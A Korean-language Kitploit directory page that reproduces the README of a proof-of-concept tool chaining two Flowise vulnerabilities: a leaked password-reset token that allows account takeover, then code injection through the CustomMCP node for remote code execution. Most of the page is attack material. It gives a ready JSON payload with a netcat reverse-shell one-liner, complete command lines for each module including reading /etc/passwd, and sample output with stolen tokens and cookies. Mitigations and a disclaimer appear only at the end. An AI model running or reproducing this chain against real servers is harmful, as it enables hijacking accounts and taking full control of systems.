Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-58434-AND-59528-POC — Flowise의 CVE-2025-58434 (계정 탈취) 및 CVE-2025-59528 (RCE)에 대한 모듈형 PoC. 인증되지 않은 토큰 유출부터 리버스 셸 또는 사용자 정의 명령을 통한 원격 코드 실행까지 전체 공격 체인을 자동화합니다. | Kitploit
도구/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Flowise의 CVE-2025-58434 (계정 탈취) 및 CVE-2025-59528 (RCE)에 대한 모듈형 PoC. 인증되지 않은 토큰 유출부터 리버스 셸 또는 사용자 정의 명령을 통한 원격 코드 실행까지 전체 공격 체인을 자동화합니다.

저장소 보기
1925개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Flowise 이중 CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 교육 및 인가된 보안 연구 목적으로만 사용하세요.
귀하가 소유하지 않거나 서면 허가 없이 테스트할 수 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

  • 개요
  • 취약점 상세
    • CVE-2025-58434 — 계정 탈취
    • CVE-2025-59528 — 원격 코드 실행
  • 전체 공격 체인
  • 영향받는 버전
  • 저장소 구조
  • 요구 사항
  • 설치
  • 사용법
    • 기본 동작
    • 도움말 화면
    • 체인 모드
    • 모듈 — ATO
    • 모듈 — 로그인
    • 모듈 — RCE
  • 플래그 참조
  • 리버스 셸 vs 사용자 정의 명령어
  • 예제 출력
  • 대응 방안
  • 공개 타임라인
  • 참고 자료
  • 면책 조항

  • 개요

    이 저장소는 Flowise의 두 가지 치명적 취약점을 하나의 모듈식 PoC 도구로 결합합니다.

    CVE-2025-58434CVE-2025-59528
    유형계정 탈취원격 코드 실행
    인증 필요없음예 (유효한 계정 필요)
    CVSS9.8 치명적치명적
    영향클라우드 + 자체 호스팅자체 호스팅

    두 취약점은 자연스럽게 연결됩니다: CVE-2025-58434는 인증되지 않은 계정 탈취를 제공하며, 이는 CVE-2025-59528의 인증 요구 사항을 충족시켜 단일 자동 실행으로 인증되지 않은 RCE를 달성합니다.


    취약점 상세

    CVE-2025-58434 — 계정 탈취

    근본 원인: forgot-password 엔드포인트가 비밀번호 재설정 토큰(tempToken)을 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다.

    공격 단계:

    1. 등록된 이메일로 POST /api/v1/account/forgot-password 요청
    2. JSON 응답에서 tempToken 읽기 — 이메일 접근 불필요
    3. 유출된 토큰으로 POST /api/v1/account/reset-password → 새 비밀번호 설정
    4. 피해자로 로그인

    유출된 응답 (일부):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — 원격 코드 실행

    근본 원인: CustomMCP 노드가 사용자 제공 mcpServerConfig를 JavaScript의 Function() 생성자에 직접 전달하며 삭제(sanitization)하지 않습니다. Flowise는 Node.js에서 실행되므로 주입된 코드는 child_process, fs 및 모든 Node.js 내장 기능에 완전히 접근할 수 있습니다.

    취약한 코드 경로:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← 삭제되지 않은 사용자 입력
    

    필수 헤더:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    기본 주입 페이로드 (리버스 셸):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    참고: 리버스 셸 페이로드는 cp.exec() (비동기 / 발사 후 망각)을 사용하므로 HTTP 요청이 즉시 반환되어 도구가 타임아웃되지 않습니다. 일반 명령어는 cp.execSync()를 사용하며 출력을 인라인으로 반환합니다.


    전체 공격 체인

    root@kitploit:~
    공격자                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← 응답에 토큰 유출
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO 완료
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← 쿠키 추출
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() fires in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       공격자의 nc 리스너 ←─────────────── 서버가 역연결
       ✓  자격 증명 없이 완전한 RCE
    

    영향받는 버전

    구성 요소상태
    Flowise Cloud (cloud.flowiseai.com)CVE-2025-58434에 영향
    Flowise 자체 호스팅 (패치 이전 모든 버전)두 CVE 모두에 영향

    패치된 릴리스 번호는 공식 Flowise 보안 권고를 확인하십시오.


    저장소 구조

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # 메인 PoC — 모든 모듈 + 체인 모드
    ├── requirements.txt    # Python 종속성
    ├── README.md           # 이 파일
    └── DISCLAIMER.md       # 전체 법적 고지
    

    요구 사항

    • Python 3.7+
    • requests 라이브러리

    설치

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    사용법

    기본 동작

    모드 플래그가 필요하지 않습니다. --chain 또는 --module 없이 스크립트를 실행하면 자동으로 전체 체인 모드로 실행됩니다. 기본 RCE 페이로드는 리버스 셸입니다 — --lhost와 --lport만 제공하면 됩니다.

    root@kitploit:~
    # 최소 호출 — 전체 체인 + 리버스 셸
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    실행 전에 리스너를 시작하세요:

    root@kitploit:~
    nc -lvnp 4444
    

    도움말 화면

    root@kitploit:~
    python3 flowise_poc.py -h
    

    체인 모드

    네 단계를 모두 처음부터 끝까지 실행합니다: 토큰 유출 → 비밀번호 재설정 → 로그인 → RCE.

    root@kitploit:~
    # 리버스 셸 (기본 페이로드)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # 리버스 셸 대신 사용자 정의 명령어
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # 사용자 정의 ATO 비밀번호 + 리버스 셸
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    모듈 — ATO

    tempToken을 유출하고 계정 비밀번호를 재설정합니다. 로그인/RCE 전에 중단됩니다.

    root@kitploit:~
    # 기본 새 비밀번호
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # 사용자 정의 새 비밀번호
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # 원시 JSON 응답 출력
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    모듈 — 로그인

    인증하고 수동 사용을 위해 세 개의 세션 쿠키를 추출합니다.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # 스크립팅을 위한 JSON 출력
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    모듈 — RCE

    서버에서 실행합니다. --token이 제공되지 않으면 자동 로그인합니다.

    root@kitploit:~
    # 리버스 셸 — 자동 로그인
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # 사용자 정의 명령어 — 자동 로그인
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # 수동 토큰 — 리버스 셸
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # 세 쿠키 모두 수동
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    플래그 참조

    모드 (모두 선택 사항 — 기본값은 --chain)

    플래그설명
    --chain전체 체인: ATO → 로그인 → RCE
    --module ato계정 탈취만
    --module login로그인 및 쿠키 추출만
    --module rceRCE만

    대상

    플래그약어설명필수
    --url-uFlowise 인스턴스의 기본 URL항상
    --email-e대상 / 로그인 이메일항상

    ATO 옵션

    플래그약어설명기본값
    --new-password-pATO 후 피해자 계정에 설정할 비밀번호Flowise@Pwn3d2025!

    인증 옵션

    플래그약어설명
    --login-password-P로그인 모듈 / RCE 자동 로그인용 비밀번호
    --token—token 쿠키 수동 제공 (로그인 생략)
    --refresh-token—refreshToken 쿠키 수동 제공
    --connect-sid—connect.sid 쿠키 수동 제공

    RCE 옵션

    플래그약어설명기본값
    --lhost—리버스 셸용 공격자 IP—
    --lport—리버스 셸용 공격자 포트—
    --command-c사용자 정의 OS 명령어 (revshell 대체)lhost/lport가 없으면 id

    기타

    플래그약어설명기본값
    --timeout-tHTTP 타임아웃 (초)15
    --json-output-j원시 JSON 응답 출력false

    리버스 셸 vs 사용자 정의 명령어

    스크립트는 자동으로 올바른 실행 모드를 선택합니다:

    시나리오사용된 페이로드HTTP 동작
    --lhost + --lport (-c 없음)mkfifo netcat 원라이너cp.exec() — 비동기, 즉시 반환
    -c "..." 에 nc/mkfifo/bash -i 포함revshell로 감지cp.exec() — 비동기, 즉시 반환
    -c "id" 또는 기타 일반 명령어사용자 명령어cp.execSync() — 블로킹, 출력 반환
    -c 없음, --lhost 없음idcp.execSync() — 블로킹, 출력 반환

    비동기 실행은 HTTP 요청이 즉시 완료됨을 의미합니다 — 리버스 셸 페이로드에 타임아웃 오류가 발생하지 않습니다.


    예제 출력

    root@kitploit:~
      [단계 1] [CVE-2025-58434] forgot-password 토큰 요청 중 ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        유출된 계정 데이터
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] 취약함 — 인증 없이 토큰이 노출되었습니다!
    
      [단계 2] [CVE-2025-58434] 비밀번호 재설정 중 → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] 비밀번호 재설정 성공 (tempToken cleared)
      [+] 계정 탈취 완료 → [email protected] / Flowise@Pwn3d2025!
    
      [단계 3] [Auth] 세션 쿠키 추출을 위해 로그인 중 ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        추출된 세션 쿠키
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [단계 4] [CVE-2025-59528] CustomMCP를 통해 RCE 실행 중 ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE 결과
      ────────────────────────────────────────────────────────────────────
      모드    : 리버스 셸
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] 리버스 셸 페이로드 실행됨!
      [!] 10.10.16.35:4444 에서 연결 대기 중 ...
      [!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] 체인 완료
    

    대응 방안

    CVE-2025-58434 관련

    • API 응답에 토큰을 절대 반환하지 마세요. tempToken은 등록된 이메일로만 전송하세요.
    • 이메일 존재 여부와 관계없이 일반 성공 메시지를 반환하세요 (열거 방지).
    • 토큰을 일회용으로 만들고, 짧은 수명(≤15분)으로 설정하며, 요청 컨텍스트에 연결하세요.
    • forgot-password 엔드포인트에 속도 제한을 적용하세요.

    CVE-2025-59528 관련

    • 사용자 입력을 Function(), eval() 또는 vm.runInThisContext()에 절대 전달하지 마세요.
    • mcpServerConfig를 데이터로만 구문 분석하세요 (예: JSON.parse()) — 절대 실행하지 마세요.
    • 동적 평가가 필요한 경우, 제한된 컨텍스트로 격리된 샌드박스를 사용하세요.
    • 엄격한 입력 유효성 검사와 허용된 구성 키 목록을 적용하세요.

    일반

    • 클라우드 및 자체 호스팅 배포 모두 패치하세요.
    • 비밀번호 재설정 및 node-load-method 엔드포인트에 대한 로깅 및 알림을 활성화하세요.
    • 모든 관리자 계정에 MFA를 고려하세요.

    공개 타임라인

    날짜이벤트
    2025-08-19CVE-2025-58434 발견 및 보고
    TBDCVE-2025-59528 발견 및 보고
    TBD공급업체 확인
    TBD패치 릴리스
    TBD공개 공개

    참고 자료

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: 취약한 비밀번호 복구 메커니즘
    • CWE-94: 코드 생성에 대한 부적절한 제어

    면책 조항

    교육 목적 및 인가된 침투 테스트용으로만 사용하세요.
    전체 법적 고지는 DISCLAIMER.md를 참조하십시오.

    도구 다운로드